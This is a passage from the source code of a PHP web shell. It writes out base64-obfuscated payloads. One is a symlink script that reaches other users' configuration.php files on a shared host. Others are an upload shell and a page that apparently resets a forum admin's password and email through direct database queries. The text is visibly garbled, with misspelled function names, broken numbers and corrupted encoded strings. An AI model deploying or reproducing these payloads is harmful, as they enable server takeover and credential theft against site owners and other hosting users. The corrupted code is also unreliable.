XSE0vYa9uZmlndXJhdGlvbiiwaHAiLCJoaG0vV0hNQ6MvYa9uZmlndXJhdGlvbiiwaHAiLCJoaG0vdahtYoMvYa9uZmlndXJhdGlvbiiwaHAiLCJzdXBwboJ0LaNvbmZpZoVyYXRpbauucGhwIiwiYaxpZWi0cy9jbaimaWd6cmF0aW9uLnBocCIsImNsaWVudC9jbaimaWd6cmF0aW9uLnBocCIsImNsaWVudGVzLaNvbmZpZoVyYXRpbauucGhwIiwiYaxpZWi0ZS9jbaimaWd6cmF0aW9uLnBocCIsImNsaWVudHN6cHBvcnQvYa9uZmlndXJhdGlvbiiwaHAiLCJiaWxsaWinLaNvbmZpZoVyYXRpbauucGhwIiwiYWRtaWuvYa9uZmlnLnBocCIpOwoJCWZvcmVhYagoJHVzciBhcyAkdXNzICkKCQl7CgkJCSR6cz60cmltKCR6coMpOwoJCQkJCQkKCQkJZm9yZWFjaCgkYa9uZmlndXJhdGlvbiBhcyAkYykKCQkJewoJCQkgJHJzPSIvaG9tZS8iLiR6cyuiLoB6YmxpY69odG6sLyIuJGM7CgkJCSAkcj0icoltLyIuJHVzLiIgLiugIiukYzsKCQkJIHNibWxpbmsoJHJzLCRyKTsKCQkJCgkJfQoJCQkKCQkJfQoJCQoJCQoJCX0KCQoJCgkKCT8+CjwvYaVudGVyPgk=';
2416 $file = fopen("symroot.php", "w+");
2417 $write = fwrite($file, baseeu_decode($perltoolss));
2418 fclose($file);
2419 echo "<iframe src=symroot.php width=600% height=7a0px frameborder=0></iframe> ";
2420}
2421//UPSHELL
2422elseif ($action == 'upshell') {
2423 $file = fopen($dir . "upshell.php", "w+");
2424 $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE6MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJah0dHAeLy9odocudzMuboJnL6RSLah0bWw0LaxvboNlLmR0ZCc+CjxodG6sPgo8IS0tSXRzIEZpcnN0IFB6YmxpYyBWZXJzaW9uIAoKIC0tPgo8Lah0bWw+CjxodG6sPgo8aGVhZDuKPG6ldGEgaHR0cC6lcXVpdj0nQa9udGVudC6UeXBlJyBjbai0ZWi0PSd0ZXh0Lah0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+VVAgU0hFTEwgLSBNWSBIVVlFTjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0LaNzcyI+CmEgeyAKdGVudC6kZWNvcmF0aW9uOmivbmU7CmNvbG9yOndoaXRlOwogfQo8LoN0eWxlPiAKPHN0eWxlPgppbnB6dCB7IApjbaxvcjojMDAwMDM6OyAKZm9udDoucHQgJoRyZWJ6YahldCBtcycsaGVsdmV0aWNhLHNhbnMtcaVyaWY7Cn0KLkRJUiB7IApjbaxvcjojMDAwMDM6OyAKZm9udDpibaxkIDhwdCAndHJlYnVjaGV0IG6zJyxoZWxaZXRpYaEscaFucy6zZXJpZjtjbaxvcjojRkZGRkZGOwpiYWNrZoJvdWikLWNvbG9yOiNBQTAwMDA7CmJvcmRlci6zdHlsZTpubailOwp9Cii0eHQgeyAKYa9sboIeIzJBMDAwMDsgCmZvbnQeYm9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYWizLXNlcmlmOwp9IApibaRiLCB0YWJsZSwgcaVsZWN0LCBvcHRpbausICipbmZvCnsKZm9udDpibaxkICAucHQgJoRyZWJ6YahldCBtcycsaGVsdmV0aWNhLHNhbnMtcaVyaWY7Cn0KYm9keSB7CgliYWNrZoJvdWikLWNvbG9yOiAjRTVFNUU6Owp9CiizdHlsZTEgeaNvbG9yOiAjQUEwMDAwfQoudGQKewpiboJkZXIeIDFweCBzbaxpZCAjNjYaNjYaOwpiboJkZXItdG9wOiAwcHg7CmJvcmRlci6sZWZ0OiAwcHg7CmJvcmRlci6yaWdodDogMHBuOwp9Cii0ZFVQCnsKYm9yZGVyOiAxcHggca9saWQgIzYaNjYaNjsKYm9yZGVyLXRvcDogMXBuOwpiboJkZXItbGVmdDogMHBuOwpiboJkZXItcmlnaHQeIDBweDsKYm9yZGVyLWJvdHRvbTogMXBuOwp9CiizdHlsZTQgeaNvbG9yOiAjRkZGRkZGOyB9CjwvcoRibGU+CjwvaGVhZDuKPGJvZHk+Cjw/cGhwCmVjaG8gIjxDRUiURVI+CiAgPHRhYmxlIGJvcmRlcj0nMScgYaVsbHBhZGRpbmc9JzAnIGNlbGxzcGFjaWinPScwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjbaxsYXBzZTsgYm9yZGVyLXN0eWxlOiBzbaxpZDsgYm9yZGVyLWNvbG9yOiAjQzBDMEMwOyBwYWRkaWinLWxlZnQeIDQ7IHBhZGRpbmctcmlnaHQeIDQ7IHBhZGRpbmctdG9wOiAxOyBwYWRkaWinLWJvdHRvbTogMScgYm9yZGVyYa9sboI9JyMxMTExMTEnIHdpZHRoPScuNiUnIGJnYa9sboI9JyNFMEUwRTAnPgogICAgPHRyPgogICAgICA8dGQgYmdjbaxvcj0nIzAwMDBmZicgYaxhcoM9JoRkJzu8ZGlaIGFsaWduPSdjZWi0ZXInIGNsYXNzPSdzdHlsZTQnPiBIYXkgYahvbiBtYSBuZoVvbjwvZGlaPjwvdGQ+CiAgICAgIDx0ZCBiZaNvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnIHN0eWxlPSdwYWRkaWinOjBweCAwcHggMHBuIDVweCc+PGRpdiBhbGlnbj0nYaVudGVyJyBjbGFzcz0ncoRibGU0JzuKICAgICAgICA8ZGlaIGFsaWduPSdsZWZ0JzuKICAgICAgICA8LaRpdjuKICAgICAgPC9kaXY+PC90ZDuKICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdalkdGg9JzEwMCUnIGhlaWdodD0nMjgwJyBzdHlsZT0ncGFkZGluZzoyMHBuIDIwcHggMjBweCAyMHBuICc+IjsKCmlmIChpcoNldCgkX6BPU6RbJoZiYiddKSkKewogICAgbWtkaXIoJoVwcahlbGwnLCAwNzU6KTsKICAgIGNoZGlyKCd6cHNoZWxsJyk7CiRjbaimaWdzaGVsbCA9ICdQRagwYldoK0NqeDBhWFJzWlQ6MlFuVnNiR6YwYVc0Z6MybHNiR6ZiUEMiMGFYUnNaVDRLUEdObGJuUmxjajRLUEdadmNtMGdiV6YwYUcia6BWQlBVMVFnWVdOMGFXOXVQUaNuUGdvOFptOXVkQ0JtWVdObFBTZEJjbWxoYkNjZ6kyOXNiM0kiSnlNd06EQXdNREFuUGsxNWMzRnNJRWhaYzNROEwyWnZiblErUEdKeVBqeHBibkIxZENCMllXeDFaVDFzYjJOaGJHaHZjM6FnZEhsd6pUMTBaWGgwSUc6aGJXVTlhRzleZEc6aGJXVWdjMmwaWlQwbkiUQWiJSEuwZVdubFBTZG6iMjUwTFhOcGVtVTZJRGhoZERzZ6kyOXNiM0kaSUNNd06EQXdNREEoSUdadmJuUXRabUZ0YVduNU9pQlVZVahaYldFN0lHSnZjbVJsYapvZ06YQjRJSEiaYkdsa0lDTTJOalkyTmpZN0lHSmhZMnRuYa0iMWJtUXRZMjlzYjNJNklDTkdSa6pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZVoduSUdOdmJHOXlQUaNqTURBd06EQXdKejVFUWlCdVlXMWxQR0piUGpodlptOXVkRDQuYVc6daRYUWdkbUZzZFdVOVpHRjBZV0poYzJVZaRIbHdaVDEwWlhoMElHNWhiV6UiWkdKdVlXMWxJSEiwZW6VOUpeVXdKeUJeZEhsc6pUMGiabTl6ZEMxemFYcGxPaUE0Y0hRN0lHTnZiRzliTalBak6EQXdNREFoTolCbWIyNTBMV6poYldscaVUbadWR0ZvYjIxaE9iQmliM0prWlhJNklERndlQ0JeYjJucFpDQWpOalkyTmpZMk9iQmlZV0iyWjNKdmRXNWtMV0iaYkcieU9pQWpSa6pHUmtaR0peNDhZbkkrQapubWIyNTBJR6poWTJVOUowRnlhV0ZzSnlCamIyeHZjajBuSXpBd06EQXdNQaMrUkVJZaRYTmxjanhpYao0OEwyWnZiblErUEdsdWNIVjBJSFpoYkhWbFBYVnpaWElnZEhsd6pUMTBaWGgwSUc6aGJXVTlaR0oxYzJWeUlITnBlbVUiSnpVd0piQnpkSGxzWlQwblptOXVkQzFeYVhwbE9pQTRjSFEoSUdOdmJHOXlPaUFqTURBd06EQXdPeUJtYjI6MExXWmhiVaxzZVRvZ6ZHRm9iMjFoTolCaWIzSmtaWEkaSURGdaVDQnpiMnhwWkNBakiqWTJOalkyTolCaVlXTnJaM0paZFc6a0xXTnZiRzliTalBalJrWkdSa6pHSno0OFluSStDanhtYjI6MElHWmhZMlUiSjBGeWFXRnNKeUJqYjJudmNqMGiJekFoTURBd06DYytSRUlnWkdKd6lYTnpQR0piUGpodlptOXVkRDQuYVc6daRYUWdkbUZzZFdVOWNHRnpjeUIwZVhCbFBYUmxlSFFnYm6GdFpUMWtZbkJoYzNNZaMybDZaVDBuTlRBbklITjBlVohsUFNkbWIyNTBMWEiwZW6VNklEaHdkRHNnWTIicaIzSTZJQ06oTURBd06EQTdJR6paYmiRdFptRnRhVog6TalCVVlXaHZiV0UoSUdKdmNtUmxjam9nTVhCNElITnZiRaxrSUNNMkiqWTJOalkoSUdKaFkydGijbTkxYm6RdFkyOXNiM0kaSUNOR6JrWkdSa6luUGpuaWNqNEtQR6paYmiRZ6ptRmpaVDBuUVhKcFlXdaiJR0iaYkcieVBTYapNREFoTURBd0peNVVZV0pzWlNCdaNtVm6hWGcuWWiJK6BDOW6iMjUwUGpucGJuQjFkQ0IyWVduMVpUMGikbUppWHljZaRIbHdaVDEwWlhoMElHNWhiV6UiY0hKbFptbDRJSEiwZW6VOUpeVXdKeUJeZEhsc6pUMGiabTl6ZEMxemFYcGxPaUE0Y0hRN0lHTnZiRzliTalBak6EQXdNREFoTolCbWIyNTBMV6poYldscaVUbadWR0ZvYjIxaE9iQmliM0prWlhJNklERndlQ0JeYjJucFpDQWpOalkyTmpZMk9iQmlZV0iyWjNKdmRXNWtMV0iaYkcieU9pQWpSa6pHUmtaR0peNDhZbkkrQapubWIyNTBJR6poWTJVOUowRnlhV0ZzSnlCamIyeHZjajBuSXpBd06EQXdNQaMrVlhObGNpQmhaRzFwYmpuaWNqNDhMMlpaYmiRK6BHbHVjSFYwSUhaaGJIVmxQWEpaYjNRZaRIbHdaVDEwWlhoMElHNWhiV6UiZFhObGNpQnphWHBsUFNjMU6DYadjM6I6YkdVOUoyWnZiblF0YzJsNlpUbadPSEIwTolCamIyeHZjam9nSXpBd06EQXdNRHNnWm0idWRDMW6ZVzFwYkhrNklGUmhhRzl0WVRzZ6ltOXlaR6ZiTalBeGNIZadjMjlzYVdRZ0leWTJOalkyTmpzZ6ltRmphMmRiYjNWdVpDMWpiMnhaYapvZ0kwWkdSa6pHUmljK6BHSnlQZa8uWm0idWRDQm6ZV0isUFNkQmNtbGhiQaNnWTIicaIzSTlKeU6oTURBd06EQWiQazVsZHlCd6lYTnpJR0ZrYldsdVBHSnlQandaWm0idWRENDhhVzVoZFhRZaRtRnNkV6UiTVRJekiEVTJJSFI6Y0dVOWRHVjRkQ0J6WVcxbFBYQmhjM06nYzJsNlpUMGiOVEFuSUhOMGVXeGxQUaRtYjI6MExYTnBlbVUaSURodaREcadZMjlzYjNJNklDTXdNREFoTURBN0lHWnZiblF0Wm6GdGFXeDVPaUJVWVdodmJXRTdJR0paYa6SbGNqbadNWEI0SUhOdmJHbGtJQ00yTmpZMkiqWTdJR0poWTJ0bmNtOTFibVF0WTIicaIzSTZJQ0iHUmtaR6JrWWiQanhpYao0S6BHWnZiblFnWm6GalpUMGiRWEpwWVdobklHTnZiRzliUFNjak6EQXdNREFoSno6T6pYYadSUzF0WVdsc0lHRmtiVax6UEdKeVBqdoZabTl6ZEQ0OGFXNXdkWFFnZG6GcaRXVTlhMax0YkdwdWEwQjVZVahaYnk6amIyMGdkSGxoWlQxMFpYaDBJRzVoYldVOVpXMWhhVodnYzJsNlpUMGiOVEFuSUhOMGVXeGxQUaRtYjI6MExYTnBlbVUaSURodaREcadZMjlzYjNJNklDTXdNREFoTURBN0lHWnZiblF0Wm6GdGFXeDVPaUJVWVdodmJXRTdJR0paYa6SbGNqbadNWEI0SUhOdmJHbGtJQ00yTmpZMkiqWTdJR0poWTJ0bmNtOTFibVF0WTIicaIzSTZJQ0iHUmtaR6JrWWiQanhpYao0S6BHWnZiblFnWm6GalpUMGiRWEpwWVdobklHTnZiRzliUFNjak6EQXdNREFoSno6RGIyUmxJRkivWlduc6BHSnlQandaWm0idWRENDhkR6Y0ZEdGeVpXRWdibUZ0WlQwaVpHRjBZU0lnWTIicaNeMGlOREFpSUhKdmQzTTlJakVoSWo0aaMzQmhZMlZiWDIid6pXNEtleVIoWlhaaGJDaGlZWEisTmpSZlpHVmpiMlJsS0NKaFYxbHZZVmhPZWxwWVVXOUtSamxSVkRGT6ZWZDVaRlJrVjBvZaRHRllVVzVZVTJ0d6pYYodTMGxEUVdkSlExSnRZVmQ0YkZwSGJIbEpSREJuU6dsSkuwbEJNRXRKUTBGblNVTlNkRmtnV0dodFlWZDRiRWxFTUdkSaVrbDNUVVJCZDAxRVFXNVBkekJMUkZGdlowbERRVaRLU0ZaNldsaEtiV0ZYZUduWU6qVWdhR0pYVldkUVUwRnJXREJhUaxSRlZsUlhlV6JoWWxkRaJscFRaR6JYZVdSMVdWYohiRW9uTURkRVVXOWiTVUiCWjBvZ6NGWjZXbGhLYldGWGVHeFlNMUowWTBOQk9VbERVbVpTYTJuTlVsWk9Zaa9iYkhSWlYyUnNTakVuWWtvelVuUmpSamtnZFZsWE6XeEtNVEEzUkZGdlowbERRVaRoVjFsblMwZHNlbU6iVmpCTFExSm6VbXRzVFZKV6RtSktNbXgwV6ZkaaJFbadNVEZpUapJMWFHSlhWVzVZVTJ0d6NVaHpUa0iwUVdkSlEwRmiTVUiCWjBwSFJtbGlNbEZuVUZOQmExcHRiSEihVjFJZaNHTnBORoRrV0U6c6kyMWFjR0pIVm6aaWJVWjBXbFJeVGtOcFFXZEpRMEZuU6VOQloxRkhNWFprYlZabVpGaENjMklnTWtacldsZFNabHB0YkhOYVUyZHJaRmhPYkdOdFduQmlSMVptWkVjeGQweERRVoRaVjBwMldrTnJOMFJSYjJkSlFUQWdTMXBYVG0iaWVVazRXVEpXZFdSSFZubFFhbmhwVUd0UaRtSnRWVaRRVkRBclNVTlNNV06iVmisYWJXeHpXbFk6ZFZrZ6ZeRnNVRU06YVZCcWQzWlpNbFoxWkVkVaVWQnBTVGRFVVhBNVJGRndPVVJSY0duaVNFNXNaWGNoUzFwWFRtOWllV06nVGtOcWVHMWlNMHAwU6VjeGJHUkhhSFphUkRCcFZVVTVWRlpEU6dkWlYwNHdZVmM6ZFZCVFNXbEpSMVoxV6ROU0iXTWdSMVU6U6cweE6XSklVbkJqUjBaNVpFTTViV0leUaiSTVYxSm9aRWRGYVZCcWVIQmlia0luWkVOQ06HVllRbXhRVTBvZaJXRlhlRohKYVVKMVdWYohiRkJUUaiCaVYwWnVXbEiKSzFCSGJIVmpTRlloU6VoU0iXTkhWVGxKYkU0eFdXMHhjR6FnUTBsblltMUdkRnBVTUdsVk0xWnBZbGRzTUVscFFqSlpWMaduVaxRdaFWVXpWbWxpVjJod6NXbzBPRXdiVaiaamJUQWdLMHAaYzA6RGJqQTlJaWtwZlgxN0pIdGxlRawwS0NsOWZTWUtKRjloYUhCcGJtTnNkV6JsWDIiMWRIQjFkRHdaZEdWNGRHRnlaV0UrUEdKeVBnbzhhVzVoZFhRZaRIbHdaVDFeZFdKdGFYUWdkbUZzZFdVOUowTm9ZVzVuWlNjZ6BqeGljajRLUEMibWIzSnRQandaWTJWdWRHVnlQZa8uTDJoMGJXdytDancvQa6WeWNtOXlYM0psY0cieWRHbHVaeWdoS6RzS0pHaHZjM6J6WVcxbElEMGdKRjlRVDFOVVdiZG9iM0uwYm6GdFpTZGRPda9rWkdKdVlXMWxJRDBnSkYiUVQxTlVXeWRrWW06aGJXVWiYVHNLSkdSaWRYTmxjaUEiSUNSZlVFOVRWRnNuWkdKMWMyVnlKMTAoQalSa6luQmhjM06nUFNBa6gxQlBVMVJiSjJSaWNHRnpjeWRkTodvaaRYTmxjajFeZEhKZmNtVndiR0ZqWlNnaVhDYalMQ0luSWloaaRYTmxjaWsoQalSelpYUmZkWEisYalBOUlDUmZVRTlUVkZzbmRYTmxjaWRkTodvaaNHRnpjejFeZEhKZmNtVndiR0ZqWlNnaVhDYalMQ0luSWloaaNHRnpjeWsoQalSelpYUmZjR0ZeYolBOUlDUmZVRTlUVkZzbmNHRnpjeWRkTodva6pXMWhhVociYzNSeVgzSmxjRohoWTJVb0lsdaiJaXdpSnlJc0pHVnRZVaxzS6RzS0pITmxkRjlsYldGcGJDQTlJQ6JmVUUiVFZGcaiaVzFoYVdoblhUc0tKSFppWDNCeVpXWnBlQ0EiSUNSZlVFOVRWRnNuY0hKbFptbDRKMTAoQalSa6lYUmhJRDBnSkYiUVQxTlVXeWRrWVhSaEoxMDdDaVJeWlhSZlpHRjBZU0F6UFNBb0lpUmtZWFJoSWlrN0NpUjBZV0pzWlYidVlXMWxJRDBnSkhaaVgzQnlaV6pwZUM0aWRYTmxjaUkoQalSMFlXSnNaVjl6WVcxbE6pQTlJQ6IyWWwidaNtVm6hWGd6SWiSbGJYQnNZWFJsSWpzS0NrQnRlWEiuYkYiamIyNXVaV0uwS0NSbaIzTjBibUZ0WlNoa6pHSjFjMlZiTENSa6luQmhjM06wTodwQWJYbHpjVohmYzJWc6pXTjBYMlJpS0NSa6ltNWhiV6VwTodvS0pIRjFaWEo6SUQwZ0ozTmxiR6ZqZENBcUlHWnliMjBnSnlBdUlDUjBZV0pzWlYidVlXMWxJQzRnSnlCMaFHVnlaU0IxYzJWeWJtRnRaVDBpSnlBdUlDUnpaWFJmZFhObGNpQXVJQaNpToljN0NpUnlaWEuxYkhRZ6BTQnRlWEiuYkYieGRXVnllUadrY6hWbGNuaoBPda9rYa0iM0lEMGdiWGxeY6duZlptVjBZMmhmWVhKeVlYaa9KSEpsYzNWcaRDazdDaVJeWVduMElEMGdKSEpaZDFzbmMyRnNkQaRkTodvaaNHRnpjekVnUFNCdFpEVW9KSEisZEYid6lYTnpLVHNLSkhCaGMzTXlJRDBnYldRMUtDUndZWEieTVNBdUlDUnpZVogwS6RzS0NpUnhkV6ZiYaireElEMGdKMVZRUkVGVVJTQWiJQzRnSkhSaFlteGxYMjVoYldVZ0xpQWiJRkiGVkNCd6lYTnpkMjliWkQwaUpiQXVJQ6JoWVhOek6pQXVJQaNpSUZkSVJWSkZJSFZeWlhKdVlXMWxQU0luSUM0Z0pITmxkRjkxYzJWeUlDNGdKeUkoSnpzS0pIRjFaWEpiZVRJZ6BTQWiWVkJFUVZSRklDYadMaUFrZEdGaWJHVmZibUZ0WlNBdUlDYadVMFZVSUdWdFlXbHNQU0luSUM0Z0pITmxkRjlsYldGcGJDQXVJQaNpSUZkSVJWSkZJSFZeWlhKdVlXMWxQU0luSUM0Z0pITmxkRjkxYzJWeUlDNGdKeUkoSnpzS0pIRjFaWEpiZVRNZ6BTQWiWVkJFUVZSRklDYadMaUFrZEdGaWJHVmZibUZ0WlRJZ0xpQWiJRkiGVkNCMFpXMXdiR0YwWlNBOUlpYadMaUFrYzJWMFgyUmhkR0VnTGlBbklpQlhTRVZTUlNCMGFYUnNaU0EiSUNKbVlYRWlPeWMoQadvaaIycohQVUJ0ZVhOeGJGOXhkV6ZiZVNnaaNYVmxjbko6TVNrN0NpUnZhekUiUUcxNWMzRnNYM0YxWlhKNUtDUnhkV6ZiYaireUtUc0tKRzlyTVQxQWJYbHpjVohmY6hWbGNuaa9KSEYxWlhKeWVUTXBPda9LYVdZb0pHOXJNUawoQa6WamFHOGdJanheWTNKcGNIUStZVohsYaiRb0ozWkNkVohzWlhScGJpQnBibVpaSUdOb6lXNWiaV6FnWVc6a0lGTm9aVohzSUdGMllXbHNZV0pzWlNCcGNiQm6ZWEV6Y0dod0lEboBKeWsoUEMielkzSnBjSFErSWpzSaZRby9QaUE9Cic7CgokZmlsZSA9IGZvcGVuKCJaYmIucGhwIiAsIncrIik7CiRocml0ZSA9IGZocml0ZSAoJGZpbGUgLGJhcaUaNF9kZWNvZGUoJGNvbmZpZoNoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG6vZCgiYmIucGhwIiwwNzU6KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9aYmIucGhwIHdpZHRoPTEwMCUgaGVpZah0PTEwMCUgZnJhbWViboJkZXI9MDu8LalmcmFtZTugIjsKfQoKaWYgKGlzcaV0KCRfUE9TVFsnamwnXSkpCnsKICAgIG6rZGlyKCd6cHNoZWxsJywgMDc6NSk7CiAgICBjaGRpcigndXBzaGVsbCcpOwokYa9uZmlncahlbGwgPSAnUEdoMGJXdytQRahsWVdRK0NnbzhiV6YwWVNCbaRIUndMV6ZuZFdsMlBTSkRiMjUwWlc6MExWUjVjR6VpSUdOdmJuUmxiblEiSWiSbGVIUXZhSFJ0YkRzZ6kyaGhjbkisZEQxMWRHWXRPQ0krQadvS6BHSStQSEioWVc0ZaMzUjViR6UiSW6admJuUXRjMmwaWlRvZaJHRnlaMlUoSWo0OGMzQmhiaUJeZEhsc6pUMGlZMjlzYjNJNklHSnNkV6UoSWo6RHcaRmphQ0FuSURvZ6BDOXpjR0Z6UGpuaWNpQXZQZoBmVEciaFpDQXZZV6J0YVc6cGMzUnlZWFJaYalBbVozUTdJRWRzYjJKaGJDQkRiMjVtYVdkMWNtRjBhVzl6SUNabmREcadVMaxeZEdWeWJTQW6aM6EoSUUxbFpHbGhJRkisZEhScGJtYadKbWQwTolCMGFNToFiU0RFaaVHNakyNW9JR6RodXFGdVpiQThjM0JoYmlCemRIbHNaVDBpWTIicaIzSTZJSEpsWkRzaVBpNXdhSEEuTDNOd6lXNCtQR0piSUMuK0NsOVRZWFVneEpIRHNiQjJoNkJaSUUxbFpHbGhJRTFoYm6GblpYSWdkWEFnUEhOd6lXNGdjM6I6YkdVOUltTnZiRzliTalCeVpXUTdJajVeYUdWcaJDNXdhSEEuTDNOd6lXNCtQR0piSUMuK0NsOURhT0cab6hrZaMyaGxiRocaSURuaElHaHlaV6kiSW6oMGRIQTZMeTkyYVdOMGFXMHZhVzFoWjJWekwzTm9aVohzTGiCbaNDSWdkR0ZiWjJWMFBTSmZZbXhoYm6zaVBtaDBkSEEaTHkiMmFXTjBhVzBaYVcxaFoyVnpMM0ivWlduc0xuQm9jRHdaWVQ0bWJtSnpjRHMuTDNOd6lXNCtQQzlpUGpuaWNpQXZQZa8uWWiJZ0xeNEtQSEioWVc0ZaMzUjViR6UiSW6OdmJHOXlPaUJpYkhWbE9iSStQR0krUEhOd6lXNGdjM6I6YkdVOUltWnZiblF0YzJsNlpUbadiR0ZiWjJVN0lqNURoNkZqYUNBOGMzQmhiaUJeZEhsc6pUMGlabTl6ZEMxemFYcGxPaUJzWVhKblpUcalQakkuTDNOd6lXNCtJRHBGWkdsMElIUmxiWEEuYzNCaGJpQnpkSGxzWlQwaVptOXVkQzFeYVhwbE9pQnNZWEpuWlRzaVBteGxQQzleY0dGdVBpQktiMjFzWVNadVluTndPendaYzNCaGJqNDhMMkkrUEMiemNHRnVQanhpYalBdlBnbzhZajQuYzNCaGJpQnpkSGxzWlQwaVptOXVkQzFeYVhwbE9pQnNZWEpuWlRzaVBrTm9oNoB6WnlCMFlTQjJoNkJaSUhCbzRicWiiaUIwWlcxdaJHRjBaU0FnSm6kME9iQmxaRawwSUdQRG9XaadQSEioWVc0ZaMzUjViR6UiSW6OdmJHOXlPaUJiWldRN0lqNXBibVJsZUM6daFIQThMM0ioWVc0K0lERWdZenheY0dGdUlITjBlVohsUFNKbWIyNTBMWEiwZW6VNklHeGhjbWRsTolJKocaRnBJRHdaYzNCaGJqNTBaVzFoYkdGMFpTQmlQSEioWVc0ZaMzUjViR6UiSW6admJuUXRjMmwaWlRvZaJHRnlaMlUoSWooaHVxVjBJRoMuYzNCaGJpQnpkSGxzWlQwaVptOXVkQzFeYVhwbE9pQnNZWEpuWlRzaVBzToNJQzBtWjNRN0lITmhkbVUuTDNOd6lXNCtQQzleY0dGdVBqdoZjM0JoYmo0OEwySStQR0piSUMuK0NqeGljaUFaUGdvOFlqNDhjM0JoYmlCemRIbHNaVDBpWm0idWRDMXphWHBsTalCc6lYSmiaVHNpUGpuemNHRnVJSEuwZVdubFBTSm6iMjUwTFhOcGVtVTZJRohoYa6kbE9iSStQSEioWVc0ZaMzUjViR6UiSW6admJuUXRjMmwaWlRvZaJHRnlaMlUoSWo6amFEeHpjR0Z6SUhOMGVXeGxQU0ptYjI6MExYTnBlbVUaSUduaGNtZGxPeUkrNGJxaGVTQnphR6ZzYkNCMlBITndZVzRnYzNSNWJHVTlJbVpaYmiRdGMybDZaVG9nYkdGeVoyVTdJajdodTV0cElEeHpjR0Z6SUhOMGVXeGxQU0ptYjI6MExYTnBlbVUaSUduaGNtZGxPeUkrY0dGMGFDQjBQSEioWVc0ZaMzUjViR6UiSW6admJuUXRjMmwaWlRvZaJHRnlaMlUoSWooaHU6dHBJRHheY0dGdUlITjBlVohsUFNKamIyeHZjam9nYa6Wa09iSSthVzVrWlhndWNHaHdQQzleY0dGdVBpQThjM0JoYmlCemRIbHNaVDBpWm0idWRDMXphWHBsTalCc6lYSmiaVHNpUHNTUlBITndZVzRnYzNSNWJHVTlJbVpaYmiRdGMybDZaVG9nYkdGeVoyVTdJajdEcopodmMzQmhiajQuTDNOd6lXNCtQQzleY0dGdVBqdoZjM0JoYmo0OEwzTndZVzQrUEMiemNHRnVQaUEuTDNOd6lXNCtQQzleY0dGdVBqdoZjM0JoYmo0OEwySStQR0piSUMuK0NqdoZhSFJ0YkQ0PQonOwoKJGZpbGUgPSBmboBlbigiamwucGhwIiAsIncrIik7CiRocml0ZSA9IGZocml0ZSAoJGZpbGUgLGJhcaUaNF9kZWNvZGUoJGNvbmZpZoNoZWxsKSk7CmZjbG9zZSgkZmlsZSk7CiAgICBjaG6vZCgiYmIucGhwIiwwNzU6KTsKICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9qbCiwaHAgdalkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW6lPiAiOwp9CmlmIChpcoNldCgkX6BPU6RbJodwJ60pKQp7CiAgICBtaaRpcigndXBzaGVsbCcsIDAoNTUpOwogICAgYahkaXIoJoVwcahlbGwnKTsKJGNvbmZpZoNoZWxsID0gJ6BITndZVzRnYzNSNWJHVTlJbUiaYkcieU9pQmliSFZsTolJK6BDOXpjR0Z6UGdvS6BHSStROE9oWTJnZ06TQTZQQzlpUGpuemNHRnVJSEuwZVdubFBTSmpiMnhaYapvZ6lteDFaVHNpUGpuaVBsQk6WVWRKVGxNOEwySStQQzleY0dGdVBqeGljaUFaUGdvOFlqNG6ibUpeY0RzbWJtSnpjRHNtYm6KemNEca6ibUpeY0RzbWJtSnpjRHNtYm6KemNEca6ibUpeY0RzZ0tiQWlRVVJFSUU6RlZiQlFURlZIU6U0aVBDOWlQanhpYalBdlBnbzhZajRtYm6KemNEca6ibUpeY0RzbWJtSnpjRHNtYm6KemNEca6ibUpeY0RzbWJtSnpjRHNtYm6KemNEcadLeVp6WWiOd09iQWlWVkJNVDBGRUlpQThjM0JoYmlCemRIbHNaVDBpWTIicaIzSTZJSEpsWkRzaVBrTTVPUzVhU6ZBOEwzTndZVzQrUEMiaVBqeGljaUFaUGdvOFlqNG6ibUpeY0RzbWJtSnpjRHNtYm6KemNEca6ibUpeY0RzbWJtSnpjRHNtYm6KemNEca6ibUpeY0RzZ0tiQThjM0JoYmlCemRIbHNaVDBpWTIicaIzSTZJSEpsWkRzaVBpOTNjQzFqYjI6MFpXNTBMM0JzZFdkcGJuTXZZems6TDJNNU9TNXdhSEEuTDNOd6lXNCtQQzlpUGpuaWNpQXZQZa8uWWiJZ0xeNEtQR0krUThPaFkyZadNaUEaSUVWaaFYUWdNU0JoYkhWbmFXNGdZdUcacFhRZaEuToNJQadnUEhOd6lXNGdjM6I6YkdVOUltTnZiRzliTalCeVpXUTdJajVoYTJsemJXVjBJQasuTDNOd6lXNCtQQzlpUGpuaWNpQXZQZa8uYzNCaGJpQnpkSGxzWlQwaVkyOXNiM0kaSUNNeUieUmxNVE0oSWo0OFlqNG6ibUpeY0R0TGFHaadZMjloZVNCamIyUmxJR0iaYmlCemFHVnNiQ0IydzZCdklIUm9oNndnYzJGMlpTQmk0YnVMSUdeaHU6ZHBKbTVpYzNBN0lDWmikRHNtWjNRN0lIWnA0YnEvZENCaTRicXRlU0JpNGJxaElIYkRvRzhnS0dGelpHRnpaR0ZeWkhNcElDWmikRHNtWjNRN0lITmhkbVVnYjJzbWJtSnpjRHNnSm6kME9iWmikRHNnWTIidaVTQnRoNk6nYm6kMTRidVRiaUJqYjI0ZaMyaGxiRodnSm6kME9iWmikRHNnYzJGMlpTQnZheUJvNGJxLaRDQnM0YnVYYVRodllqNDhMM0ioWVc0K6BHSnlJQzgrQapuaVBqeHpjR0Z6SUhOMGVXeGxQU0pqYjJudmNqbadjbVZrTolJK6BITndZVzRnYzNSNWJHVTlJbUiaYkcieU9pQmliR0ZqYXpzaVBpWnVZbkioToladVluTndPeVp6WWiOd09iWnVZbkioToladVluTndPeVp6WWiOd09iQXJQQzleY0dGdVBqeHpjR0Z6SUhOMGVXeGxQU0pqYjJudmNqbadJekkzTkdVeE6ecalQaUEuTDNOd6lXNCtMMaRoTFdOdmJuUmxi